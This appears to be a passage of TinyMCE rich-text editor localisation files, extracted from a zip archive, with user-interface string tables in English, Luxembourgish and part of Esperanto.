"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Anchor": "Anchor",
"Name": "Name",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID should start with a letter, followed only by letters, numbers, dashes, dots, colons, or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "You have unsaved changes are you sure you want to navigate away?",
"Restore last draft": "Restore last draft",
"Special character": "Special character",
"Source code": "Source code",
"Insert\/Edit code sample": "Insert\/Edit code sample",
"Language": "Language",
"Code sample": "Code sample",
"Color": "Colour",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Left to right",
"Right to left": "Right to left",
"Emoticons": "Emoticons",
"Document properties": "Document properties",
"Title": "Title",
"Keywords": "Keywords",
"Description": "Description",
"Robots": "Robots",
"Author": "Author",
"Encoding": "Encoding",
"Fullscreen": "Fullscreen",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "Horizontal line",
"Insert\/edit image": "Insert\/edit image",
"Image description": "Image description",
"Source": "Source",
"Dimensions": "Dimensions",
"Constrain proportions": "Constrain proportions",
"General": "General",
"Advanced": "Advanced",
"Style": "Style",
"Vertical space": "Vertical space",
"Horizontal space": "Horizontal space",
"Border": "Border",
"Insert image": "Insert image",
"Image": "Image",
"Image list": "Image list",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Colour levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "Insert date\/time",
"Date\/time": "Date\/time",
"Insert link": "Insert link",
"Insert\/edit link": "Insert\/edit link",
"Text to display": "Text to display",
"Url": "Url",
"Target": "Target",
"None": "None",
"New window": "New window",
"Remove link": "Remove link",
"Anchors": "Anchors",
"Link": "Link",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"Link list": "Link list",
"Insert video": "Insert video",
"Insert\/edit video": "Insert\/edit video",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "Alternative source",
"Poster": "Poster",
"Paste your embed code below:": "Paste your embed code below:",
"Embed": "Embed",
"Media": "Media",
"Nonbreaking space": "Nonbreaking space",
"Page break": "Page break",
"Paste as text": "Paste as text",
"Preview": "Preview",
"Print": "Print",
"Save": "Save",
"Find": "Find",
"Replace with": "Replace with",
"Replace": "Replace",
"Replace all": "Replace all",
"Prev": "Prev",
"Next": "Next",
"Find and replace": "Find and replace",
"Could not find the specified string.": "Could not find the specified string.",
"Match case": "Match case",
"Whole words": "Whole words",
"Spellcheck": "Spellcheck",
"Ignore": "Ignore",
"Ignore all": "Ignore all",
"Finish": "Finish",
"Add to Dictionary": "Add to Dictionary",
"Insert table": "Insert table",
"Table properties": "Table properties",
"Delete table": "Delete table",
"Cell": "Cell",
"Row": "Row",
"Column": "Column",
"Cell properties": "Cell properties",
"Merge cells": "Merge cells",
"Split cell": "Split cell",
"Insert row before": "Insert row before",
"Insert row after": "Insert row after",
"Delete row": "Delete row",
"Row properties": "Row properties",
"Cut row": "Cut row",
"Copy row": "Copy row",
"Paste row before": "Paste row before",
"Paste row after": "Paste row after",
"Insert column before": "Insert column before",
"Insert column after": "Insert column after",
"Delete column": "Delete column",
"Cols": "Cols",
"Rows": "Rows",
"Width": "Width",
"Height": "Height",
"Cell spacing": "Cell spacing",
"Cell padding": "Cell padding",
"Caption": "Caption",
"Left": "Left",
"Center": "Center",
"Right": "Right",
"Cell type": "Cell type",
"Scope": "Scope",
"Alignment": "Alignment",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Middle",
"Bottom": "Bottom",
"Header cell": "Header cell",
"Row group": "Row group",
"Column group": "Column group",
"Row type": "Row type",
"Header": "Header",
"Body": "Body",
"Footer": "Footer",
"Border color": "Border colour",
"Insert template": "Insert template",
"Templates": "Templates",
"Template": "Template",
"Text color": "Text colour",
"Background color": "Background colour",
"Custom...": "Custom...",
"Custom color": "Custom colour",
"No color": "No colour",
"Table of Contents": "Table of Contents",
"Show blocks": "Show blocks",
"Show invisible characters": "Show invisible characters",
"Words: {0}": "Words: {0}",
"{0} words": "{0} words",
"File": "File",
"Edit": "Edit",
"Insert": "Insert",
"View": "View",
"Format": "Format",
"Table": "Table",
"Tools": "Tools",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help"
});PK
h�\�5M88program/js/tinymce/langs/lb.jsnu�[���tinymce.addI18n('lb',{
"Cut": "Ausschneiden",
"Heading 5": "Iwwerschr\u00ebft 5",
"Header 2": "Titel 2",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "D\u00e4i Web-Browser \u00ebnnerst\u00ebtzt keen direkten Acc\u00e8s op d'Zw\u00ebschenaplag. Benotz w.e.gl. CTRL+C fir den ausgewielten Text ze kop\u00e9ieren an CTRL+V fir en anzepechen.",
"Heading 4": "Iwwerschr\u00ebft 4",
"Div": "DIV",
"Heading 2": "Iwwerschr\u00ebft 2",
"Paste": "Apechen",
"Close": "Zoumaachen",
"Font Family": "Schr\u00ebft-Famill",
"Pre": "PRE",
"Align right": "Riets align\u00e9iert",
"New document": "Neit Dokument",
"Blockquote": "Zitat",
"Numbered list": "Nummer\u00e9iert L\u00ebscht",
"Heading 1": "Iwwerschr\u00ebft 1",
"Headings": "Iwwerschr\u00ebften",
"Increase indent": "Ident\u00e9ierung vergr\u00e9isseren",
"Formats": "Formater",
"Headers": "Titelen",
"Select all": "Alles auswielen",
"Header 3": "Titel 3",
"Blocks": "Bl\u00e9ck",
"Undo": "R\u00e9ckg\u00e4ngeg maachen",
"Strikethrough": "Duerchgestrach",
"Bullet list": "Opzielung",
"Header 1": "Titel 1",
"Superscript": "H\u00e9ichgestallt",
"Clear formatting": "Format\u00e9ierung l\u00e4schen",
"Font Sizes": "Schr\u00ebft-Gr\u00e9issten",
"Subscript": "Erofgestallt",
"Header 6": "Titel 6",
"Redo": "Widderhuelen",
"Paragraph": "Paragraph",
"Ok": "Okee",
"Bold": "Fett",
"Code": "CODE",
"Italic": "Kursiv",
"Align center": "Zentr\u00e9iert",
"Header 5": "Titel 5",
"Heading 6": "Iwwerschr\u00ebft 6",
"Heading 3": "Iwwerschr\u00ebft 3",
"Decrease indent": "Ident\u00e9ierung verklengeren",
"Header 4": "Titel 4",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "\"Apechen\" ass elo am Textmodus. Inhalter ginn elo ouni Format\u00e9ierungen agepecht bis du d\u00ebs Optioun ausm\u00e9chs.",
"Underline": "\u00cbnnerstrach",
"Cancel": "Ofbriechen",
"Justify": "Blocksaz",
"Inline": "Inline",
"Copy": "Kop\u00e9ieren",
"Align left": "L\u00e9nks align\u00e9iert",
"Visual aids": "Visuell H\u00ebllefen",
"Lower Greek": "Klengt griichescht Alphabet",
"Square": "Quadrat",
"Default": "Standard",
"Lower Alpha": "Klengt Alphabet",
"Circle": "Krees",
"Disc": "Scheif",
"Upper Alpha": "Grousst Alphabet",
"Upper Roman": "Grousst r\u00e9imescht Alphabet",
"Lower Roman": "Klengt r\u00e9imescht Alphabet",
"Name": "Numm",
"Anchor": "Anker",
"You have unsaved changes are you sure you want to navigate away?": "Du hues ongesp\u00e4ichert \u00c4nnerungen. W\u00eblls du s\u00e9cher ewechnavig\u00e9ieren?",
"Restore last draft": "Leschten Entworf er\u00ebm zr\u00e9cksetzen",
"Special character": "Speziell Zeechen",
"Source code": "Quelltext",
"B": "B",
"R": "R",
"G": "G",
"Color": "Faarf",
"Right to left": "Vu riets no l\u00e9nks",
"Left to right": "Vu l\u00e9nks no riets",
"Emoticons": "Smileyen",
"Robots": "Robotter",
"Document properties": "Eegeschafte vum Dokument",
"Title": "Titel",
"Keywords": "Schl\u00ebsselwierder",
"Encoding": "Cod\u00e9ierung",
"Description": "Beschreiwung",
"Author": "Auteur",
"Fullscreen": "Vollbildschierm",
"Horizontal line": "Horizontal Linn",
"Horizontal space": "Horizontalen Espace",
"Insert\/edit image": "Bild af\u00fcgen\/\u00e4nneren",
"General": "Allgemeng",
"Advanced": "Erweidert",
"Source": "Quell",
"Border": "Rand",
"Constrain proportions": "Proportioune b\u00e4ibehalen",
"Vertical space": "Vertikalen Espace",
"Image description": "Bildbeschreiwung",
"Style": "Stil",
"Dimensions": "Dimensiounen",
"Insert image": "Bild af\u00fcgen",
"Zoom in": "Zoom in",
"Contrast": "Contrast",
"Back": "Back",
"Gamma": "Gamma",
"Flip horizontally": "Flip horizontally",
"Resize": "Resize",
"Sharpen": "Sharpen",
"Zoom out": "Zoom out",
"Image options": "Image options",
"Apply": "Apply",
"Brightness": "Brightness",
"Rotate clockwise": "Rotate clockwise",
"Rotate counterclockwise": "Rotate counterclockwise",
"Edit image": "Edit image",
"Color levels": "Color levels",
"Crop": "Crop",
"Orientation": "Orientation",
"Flip vertically": "Flip vertically",
"Invert": "Invert",
"Insert date\/time": "Datum\/Z\u00e4it drasetzen",
"Remove link": "Link l\u00e4schen",
"Url": "URL",
"Text to display": "Text deen unzeweisen ass",
"Anchors": "Ankeren",
"Insert link": "Link drasetzen",
"New window": "Nei F\u00ebnster",
"None": "Keen",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "D'URL d\u00e9i s du aginn hues sch\u00e9ngt en externe Link ze sinn. W\u00eblls du den \"http:\/\/\"-Pr\u00e4fix dob\u00e4isetzen?",
"Target": "Zil",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "D'URL d\u00e9i s du aginn hues sch\u00e9ngt eng Email-Adress ze sinn. W\u00eblls du de \"mailto:\"-Pr\u00e4fix dob\u00e4isetzen?",
"Insert\/edit link": "Link drasetzen\/\u00e4nneren",
"Insert\/edit video": "Video drasetzen\/\u00e4nneren",
"Poster": "Pouster",
"Alternative source": "Alternativ Quell",
"Paste your embed code below:": "Abannungscode hei apechen:",
"Insert video": "Video drasetzen",
"Embed": "Abannen",
"Nonbreaking space": "Net\u00ebmbriechenden Espace",
"Page break": "S\u00e4iten\u00ebmbroch",
"Paste as text": "Als Text apechen",
"Preview": "Kucken",
"Print": "Dr\u00e9cken",
"Save": "Sp\u00e4icheren",
"Could not find the specified string.": "Den Text konnt net fonnt ginn.",
"Replace": "Ersetzen",
"Next": "Weider",
"Whole words": "Ganz Wierder",
"Find and replace": "Fannen an ersetzen",
"Replace with": "Ersetze mat",
"Find": "Fannen",
"Replace all": "All ersetzen",
"Match case": "Grouss-\/Klengschreiwung respekt\u00e9ieren",
"Prev": "Zr\u00e9ck",
"Spellcheck": "Verbesseren",
"Finish": "Ofschl\u00e9issen",
"Ignore all": "All ignor\u00e9ieren",
"Ignore": "Ignor\u00e9ieren",
"Add to Dictionary": "An den Dictionnaire androen",
"Insert row before": "Rei virdrun drasetzen",
"Rows": "Reien",
"Height": "H\u00e9icht",
"Paste row after": "Rei herno apechen",
"Alignment": "Align\u00e9ierung",
"Border color": "Rumm-Faarf",
"Column group": "Kolonnegrupp",
"Row": "Rei",
"Insert column before": "Kolonn virdrun drasetzen",
"Split cell": "Zell opspl\u00e9cken",
"Cell padding": "Zellenopf\u00ebllung",
"Cell spacing": "Zellenofstand",
"Row type": "Reientyp",
"Insert table": "Tabell drasetzen",
"Body": "Kierper",
"Caption": "Beschr\u00ebftung",
"Footer": "Fouss",
"Delete row": "Rei l\u00e4schen",
"Paste row before": "Rei virdrun apechen",
"Scope": "Ber\u00e4ich",
"Delete table": "Tabell l\u00e4schen",
"H Align": "H-Align\u00e9ierung",
"Top": "Uewen",
"Header cell": "Kappzell",
"Column": "Kolonn",
"Row group": "Reiegrupp",
"Cell": "Zell",
"Middle": "M\u00ebtt",
"Cell type": "Zellentyp",
"Copy row": "Rei kop\u00e9ieren",
"Row properties": "Eegeschafte vu Reien",
"Table properties": "Eegeschafte vun Tabellen",
"Bottom": "\u00cbnnen",
"V Align": "V-Align\u00e9ierung",
"Header": "Kapp",
"Right": "Riets",
"Insert column after": "Kolonn herno drasetzen",
"Cols": "Kolonnen",
"Insert row after": "Rei herno drasetzen",
"Width": "Breet",
"Cell properties": "Eegeschafte vun Zellen",
"Left": "L\u00e9nks",
"Cut row": "Rei ausschneiden",
"Delete column": "Kolonn l\u00e4schen",
"Center": "M\u00ebtt",
"Merge cells": "Zelle fusion\u00e9ieren",
"Insert template": "Virlag drasetzen",
"Templates": "Virlagen",
"Background color": "Hanndergrondfaarf",
"Custom...": "Eegen...",
"Custom color": "Eege Faarf",
"No color": "Keng Faarf",
"Text color": "Textfaarf",
"Show blocks": "Bl\u00e9ck weisen",
"Show invisible characters": "Onsiichtbar Zeeche weisen",
"Words: {0}": "Wierder: {0}",
"Insert": "Drasetzen",
"File": "Fichier",
"Edit": "\u00c4nneren",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Ber\u00e4ich fir format\u00e9ierten Text. Dr\u00e9ck ALT+F9 fir de Men\u00fc. Dr\u00e9ck ALT+F10 fir d'Geschirleescht. Dr\u00e9ck ALT+0 fir d'H\u00ebllef.",
"Tools": "Geschir",
"View": "Kucken",
"Table": "Tabell",
"Format": "Format"
});PK
h�\@��d�;�;program/js/tinymce/langs/eo.jsnu�[���tinymce.addI18n('eo',{
"Redo": "Refari",
"Undo": "Malfari",
"Cut": "Eltran\u0109i",
"Copy": "Kopii",
"Paste": "Englui",
"Select all": "Elekti \u0109ion",
"New document": "Nova dokumento",
"Ok": "Bone",
"Cancel": "Nuligi",
"Visual aids": "Videblaj helpiloj",
"Bold": "Dika",
"Italic": "Oblikva",
"Underline": "Substreki",
"Strikethrough": "Trastreki",
"Superscript": "Superskribi",
"Subscript": "Malsuperskribi",
"Clear formatting": "Forigi formatigon",
"Align left": "Ordigu maldekstren",
"Align center": "Ordigu centren",
"Align right": "Ordigu dekstren",
"Justify": "Ordigu la\u016dflanke",
"Bullet list": "Punkta listo",
"Numbered list": "Numera listo",
"Decrease indent": "Malpliigu alineon",
"Increase indent": "Pliigu alineon",
"Close": "Fermi",
"Formats": "Formatoj",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Via retumilo ne subtenas rektan aliron al bufro. Bonvolu antata\u016de uzi klavarajn kombinojn Ctrl+X\/C\/V.",
"Headers": "\u0108apoj",
"Header 1": "\u0108apo 1",
"Header 2": "\u0108apo 2",
"Header 3": "\u0108apo 3",
"Header 4": "\u0108apo 4",
"Header 5": "\u0108apo 5",
"Header 6": "\u0108apo 6",
"Headings": "Titoloj",
"Heading 1": "Titolo 1",
"Heading 2": "Titolo 2",
"Heading 3": "Titolo 3",
"Heading 4": "Titolo 4",
"Heading 5": "Titolo 5",
"Heading 6": "Titolo 6",
"Preformatted": "Anta\u016dformatigita",
"Div": "Div",
"Pre": "Pre",
"Code": "Kodo",
"Paragraph": "Alineo",
"Blockquote": "Mar\u011denigo",
"Inline": "Enlinie",
"Blocks": "Blokoj",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "La engluado nun okazas en simpla teksta re\u011dimo. La enhavo estos engluata kiel simpla teksto \u011dis anta\u016d vi for\u015daltos tiun \u0109i opcion.",
"Fonts": "Tiparoj",
"Font Sizes": "Tiparaj grandoj",
"Class": "Klaso",
"Browse for an image": "Rigardi por iu bildo",
"OR": "A\u016c",
"Drop an image here": "\u0134etu iun bildon \u0109i tien",
"Upload": "Al\u015duti",
"Block": "Bloko",
"Align": "\u011cisrandigi ",
"Default": "Implicite",
"Circle": "Cirklo",
"Disc": "Disko",
"Square": "Kvadrato",
"Lower Alpha": "Minuskla alfabeta",
"Lower Greek": "Minuskla greka",
"Lower Roman": "Minuskla latina",
"Upper Alpha": "Majuskla alfabeta",
"Upper Roman": "Majuskla latina",
"Anchor...": "Ankro...",
"Name": "Nomo",
"Id": "Identigilo",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Identigilo devas komenci\u011di per litero sekvata nur per literoj, ciferoj, streketoj, punktoj, dupunktoj a\u016d substrekoj.",
"You have unsaved changes are you sure you want to navigate away?": "Vi havas nekonservitajn \u015dan\u011dojn, \u0109u vi certe deziras eliri?",
"Restore last draft": "Restarigu lastan malneton",
"Special character...": "Speciala signo...",
"Source code": "Fonta kodo",
"Insert\/Edit code sample": "Enmeti\/Redakti kodospecimenon",
"Language": "Lingvo",
"Code sample...": "Kodospecimeno...",
"Color Picker": "Kolorelektilo",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Maldekstro dekstren",
"Right to left": "Dekstro maldekstren",
"Emoticons...": "Miensimboloj...",
"Metadata and Document Properties": "Metadatumoj kaj ecoj de dokumento",
"Title": "Titolo",
"Keywords": "\u015closilvortoj",
"Description": "Priskribo",
"Robots": "Robotoj",
"Author": "A\u016dtoro",
"Encoding": "Enkodigo",
"Fullscreen": "Tutekrane",
"Action": "Ago",
"Shortcut": "\u015cparvojo",
"Help": "Helpo",
"Address": "Adreso",
"Focus to menubar": "Enfokusigi al menubreto",
"Focus to toolbar": "Enfokusigi al ilobreto",
"Focus to element path": "Enfokusigi al elementvojo",
"Focus to contextual toolbar": "Enfokusigi al kunteksta ilobreto",
"Insert link (if link plugin activated)": "Enmeti ligilon (se ligila komprogramo estas aktivigita)",
"Save (if save plugin activated)": "Konservi (se konserva komprogramo estas aktivigita)",
"Find (if searchreplace plugin activated)": "Ser\u0109i (se ser\u0109a komprogramo estas aktivigita)",
"Plugins installed ({0}):": "Kromprogramoj instalitaj ({0}): ",
"Premium plugins:": "Premiaj kromprogramoj:",
"Learn more...": "Legu aldone...",
"You are using {0}": "Vi uzas {0}",
"Plugins": "Kromprogramoj",
"Handy Shortcuts": "Komfortaj \u015dparvojoj",
"Horizontal line": "Horizontala linio",
"Insert\/edit image": "Enmetu\/redaktu bildon",
"Image description": "Bilda priskribo",
"Source": "Fonto",
"Dimensions": "Dimensioj",
"Constrain proportions": "Relativigu proporciojn",
"General": "\u011cenerale",
"Advanced": "Por spertuloj",
"Style": "Stilo",
"Vertical space": "Vertikala spaco",
"Horizontal space": "Horizontala spaco",
"Border": "Limo",
"Insert image": "Enmetu bildon",
"Image...": "Bildo...",
"Image list": "Bildlisto",
"Rotate counterclockwise": "Rotaciu kontra\u016d horlo\u011do",
"Rotate clockwise": "Rotaciu la\u016d horlo\u011do",
"Flip vertically": "Respegulu vertikale",
"Flip horizontally": "Respegulu horizontale",
"Edit image": "Redaktu bildon",
"Image options": "Bildaj opcioj",
"Zoom in": "Plilar\u011digu",
"Zoom out": "Malplilar\u011digu",
"Crop": "Randtran\u0109u",
"Resize": "\u015can\u011du dimensiojn",
"Orientation": "Orientigo",
"Brightness": "Heleco",
"Sharpen": "Akrigu",
"Contrast": "Kontrasto",
"Color levels": "Kolorniveloj",
"Gamma": "Gamo",
"Invert": "Inversigu",
"Apply": "Apliku",
"Back": "Reen",
"Insert date\/time": "Enmetu daton\/tempon",
"Date\/time": "Dato\/tempo",
"Insert\/Edit Link": "Enmeti\/redakti ligilon",
"Insert\/edit link": "Enmetu\/redaktu ligilon",
"Text to display": "Montrata teksto",
"Url": "Urlo",
"Open link in...": "Sekvi ligilon per...",
"Current window": "Aktuala fenestro",
"None": "Nenio",
"New window": "Nova fenestro",
"Remove link": "Forigu ligilon",
"Anchors": "Ankroj",
"Link...": "Ligilo...",
"Paste or type a link": "Engluu a\u016d enigu ligilon",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "La enmetita URLo \u015dajnas esti retadreso. \u0108u vi deziras aldoni prefikson mailto:?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "La enmetita URLo \u015dajnas esti ekstera ligilo. \u0108u vi deziras aldoni nepran prefikson http:\/\/?",
"Link list": "Ligila listo",
"Insert video": "Enmetu videon",
"Insert\/edit video": "Enmetu\/redaktu videon",
"Insert\/edit media": "Enmeti\/redakti a\u016ddovida\u0135on  ",
"Alternative source": "Alternativa fonto",
"Alternative source URL": "URLo de alternativa fonto",
"Media poster (Image URL)": "Ligilo al a\u016ddovida\u0135o (URLo de bildo)",
"Paste your embed code below:": "Engluu vian internan kodon \u0109i-sube:",
"Embed": "Enkonstruu",
"Media...": "A\u016ddovida\u0135o...",
"Nonbreaking space": "Nerompebla spaco",
"Page break": "Pa\u011da fino",
"Paste as text": "Engluu kiel tekston",
"Preview": "Provrigardo",
"Print...": "Presi...",
"Save": "Konservi",
"Find": "Trovi",
"Replace with": "Anstata\u016digi per",
"Replace": "Anstata\u016digi",
"Replace all": "Anstata\u016digi\u0109ion",
"Previous": "Anta\u016da",
"Next": "Posta",
"Find and replace...": "Ser\u0109i kaj anstata\u016di... ",
"Could not find the specified string.": "Malsukceso trovi la indikitan sinsekvon",
"Match case": "Sekvi usklecon",
"Find whole words only": "Ser\u0109i nur tutan vorton",
"Spell check": "Kontroli literumadon",
"Ignore": "Ignoru",
"Ignore all": "Ignoru \u0109ion",
"Finish": "Finu",
"Add to Dictionary": "Aldonu al vortaro",
"Insert table": "Enmetu tabelon",
"Table properties": "Tabelaj ecoj",
"Delete table": "Forigu tabelon",
"Cell": "\u0108elo",
"Row": "Vico",
"Column": "Kolumno",
"Cell properties": "\u0108elaj ecoj",
"Merge cells": "Kunigu \u0109elojn",
"Split cell": "Disdividu \u0109elon",
"Insert row before": "Enmetu vicon anta\u016d",
"Insert row after": "Enmetu vicon poste",
"Delete row": "Forigu vicon",
"Row properties": "Vicaj ecoj",
"Cut row": "Eltran\u0109u vicon",
"Copy row": "Kopiu vicon",
"Paste row before": "Engluu vicon anta\u016d",
"Paste row after": "Engluu vicon poste",
"Insert column before": "Enmetu kolumnon anta\u016d",
"Insert column after": "Enmetu kolumnon poste",
"Delete column": "Forigu kolumnon",
"Cols": "Kolumonoj",
"Rows": "Vicoj",
"Width": "Lar\u011do",
"Height": "Alto",
"Cell spacing": "\u0108elspacoj",
"Cell padding": "\u0108elmar\u011denoj",
"Show caption": "Montri apudskribon",
"Left": "Maldekstro",
"Center": "Centro",
"Right": "Dekstro",
"Cell type": "\u0108ela tipo",
"Scope": "Amplekso",
"Alignment": "Aligo",
"H Align": "H aligo",
"V Align": "V aligo",
"Top": "Supro",
"Middle": "Mezo",
"Bottom": "Subo",
"Header cell": "\u0108apa \u0109elo",
"Row group": "Vica grupo",
"Column group": "Kolumna grupo",
"Row type": "Vica tipo",
"Header": "\u0108apo",
"Body": "Korpo",
"Footer": "Piedo",
"Border color": "Lima koloro",
"Insert template...": "Enmeti \u015dablonon...",
"Templates": "\u015cablonoj",
"Template": "\u015cablono",
"Text color": "Teksta koloro",
"Background color": "Fona koloro",
"Custom...": "Propra...",
"Custom color": "Propra koloro",
"No color": "Neniu koloro",
"Remove color": "Forigi koloron",
"Table of Contents": "Enhavotabelo",
"Show blocks": "Montru blokojn",
"Show invisible characters": "Montru nevideblajn karaktrojn",
"Word count": "Vortnombro ",
"Count": "Nombri",
"Document": "Dokumento",
"Selection": "Elekto",
"Words": "Vortoj",
"Words: {0}": "Vortoj: {0}",
"{0} words": "{0} vortoj",
"File": "Dokumento",
"Edit": "Redakti",
"Insert": "Enmeti",
"View": "Vidi",
"Format": "Aspektigi",
"Table": "Tabelo",
"Tools": "Iloj",
"Powered by {0}": "Funkciigita de {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Ri\u0109teksta Areo. Premu ALT-F9 por menuo. Premu ALT-F10 por menuejo. Premu ALT-0 por helpo",
"Image title": "Titolo de bildo",
"Border width": "Lar\u011do de bordero",
"Border style": "Stilo de bordero",
"Error": "Eraro",
"Warn": "Averto",
"Valid": "Valida",
"To open the popup, press Shift+Enter": "Por aperigi \u015dprucfenestron premu fulmoklavon Shift+Enter ",
"Rich Text Area. Press ALT-0 for help.": "Ri\u0109teksta loko. Premu fulmoklavon ALT-0 por helpo.",
"System Font": "Sistema tiparo",
"Failed to upload image: {0}": "Al\u015dutado de bildo {0} malsukcesis",
"Failed to load plugin: {0} from url {1}": "\u015cargado de kromprogramo {0} el URLo {1} malsukcesis",
"Failed to load plugin url: {0}": "\u015cargado por kroprograma URLo {0} malsukcesis",
"Failed to initialize plugin: {0}": "Pravalorizado de krompogramo {0} malsukcesis",
"example": "ekzemplo",
"Search": "Ser\u0109i",
"All": "\u0108io",
"Currency": "Valuto",
"Text": "Teksto",
"Quotations": "Cita\u0135oj",
"Mathematical": "Matematika",
"Extended Latin": "Etendita la latina",
"Symbols": "Simboloj",
"Arrows": "Sagsimboloj",
"User Defined": "Propre difinita ",
"dollar sign": "signo de usona dolaro",
"currency sign": "valutsigno",
"euro-currency sign": "signo de e\u016dro",
"colon sign": "dupunkto",
"cruzeiro sign": "signo de brazila kruzero",
"french franc sign": "signo de francia franko",
"lira sign": "signo de itala liro",
"mill sign": "signo de milono de baza monunuo",
"naira sign": "signo de ni\u011deria najro",
"peseta sign": "signo de hispana peseto",
"rupee sign": "signo de rupio",
"won sign": "signo de koreia \u016dono",
"new sheqel sign": "signo de israela siklo",
"dong sign": "signo de vjetnama dongo",
"kip sign": "signo de laosa kipo",
"tugrik sign": "signo de mongola tugriko",
"drachma sign": "signo de greka dra\u0125mo",
"german penny symbol": "signo de pfenigo",
"peso sign": "signo de peso",
"guarani sign": "signo de paragvaja gvaranio",
"austral sign": "signo de argentina a\u016dstralo",
"hryvnia sign": "signo de ukrainia hrivno",
"cedi sign": "signo de ganaa cedio",
"livre tournois sign": "signo de pundo de Turo",
"spesmilo sign": "signo de spesmilo",
"tenge sign": "signo de kaza\u0125a tengo",
"indian rupee sign": "signo de barata rupio",
"turkish lira sign": "signo de turka liro",
"nordic mark sign": "signo de marko",
"manat sign": "signo de azerbaj\u011dana manato",
"ruble sign": "signo de rusia rublo",
"yen character": "signo de japana eno",
"yuan character": "signo de \u0109ina renminbio",
"yuan character, in hong kong and taiwan": "signo de juano, Hongkongo kaj Tajvano",
"yen\/yuan character variant one": "alia varianto de signo de eno\/juano",
"Loading emoticons...": "\u015cargado de mienvinjetoj",
"Could not load emoticons": "Ne povas \u015dargi mienvinjetojn",
"People": "Homoj",
"Animals and Nature": "Bestoj kaj naturo",
"Food and Drink": "Man\u011da\u0135o kaj trinka\u0135o",
"Activity": "Aktiveco",
"Travel and Places": "Voja\u011doj kaj lokoj",
"Objects": "Objektoj",
"Flags": "Flagoj",
"Characters": "Simboloj",
"Characters (no spaces)": "Simboloj (senspacetaj)",
"{0} characters": "{0} signojn",
"Error: Form submit field collision.": "Eraro: kolizio de kampoj dum sendado de formularo.",
"Error: No form element found.": "Eraro: elementoj de formularo forestas",
"Update": "\u011cisdatigi",
"Color swatch": "Specimenaro de koloroj",
"Turquoise": "Turkisa",
"Green": "Verda",
"Blue": "Blua",
"Purple": "Purpura",
"Navy Blue": "Helblua",
"Dark Turquoise": "Malhela turkisa",
"Dark Green": "Malhela verda",
"Medium Blue": "Meza blua",
"Medium Purple": "Meza purpla",
"Midnight Blue": "Nigroblua",
"Yellow": "Flava",
"Orange": "Oran\u011da",
"Red": "Ru\u011da",
"Light Gray": "Helgriza",
"Gray": "Griza",
"Dark Yellow": "Malhela flava",
"Dark Orange": "Malhela oran\u011da",
"Dark Red": "Malhela ru\u011da",
"Medium Gray": "Meza griza",
"Dark Gray": "Malhela griza",
"Light Green": "Helverda",
"Light Yellow": "Helflava",
"Light Red": "Helru\u011da",
"Light Purple": "Helpurpura",
"Light Blue": "Helblua",
"Dark Purple": "Malhelpurpura",
"Dark Blue": "Malhelblua",
"Black": "Nigra",
"White": "Blanka",
"Switch to or from fullscreen mode": "Tra\u015dan\u011di tutekranan re\u011dimon",
"Open help dialog": "Malfermi helpan dialogon",
"history": "historio",
"styles": "stilo",
"formatting": "tekstaran\u011do",
"alignment": "niveleco",
"indentation": "krommar\u011deno",
"permanent pen": "konstanta plumo",
"comments": "komentoj",
"Format Painter": "Formatelektilo",
"Insert\/edit iframe": "Enmeti\/redakti enkonstruitan framon (iframe)",
"Capitalization": "Komenci per majuskla",
"lowercase": "minuskla",
"UPPERCASE": "MAJUSKLA",
"Title Case": "Uskleco de titolo",
"Permanent Pen Properties": "Konstantaj ecoj de plumo",
"Permanent pen properties...": "Konstantaj ecoj de plumo",
"Font": "Tiparo",
"Size": "Grando",
"More...": "Pli...",
"Spellcheck Language": "Lingvo por literumi",
"Select...": "Elektu...",
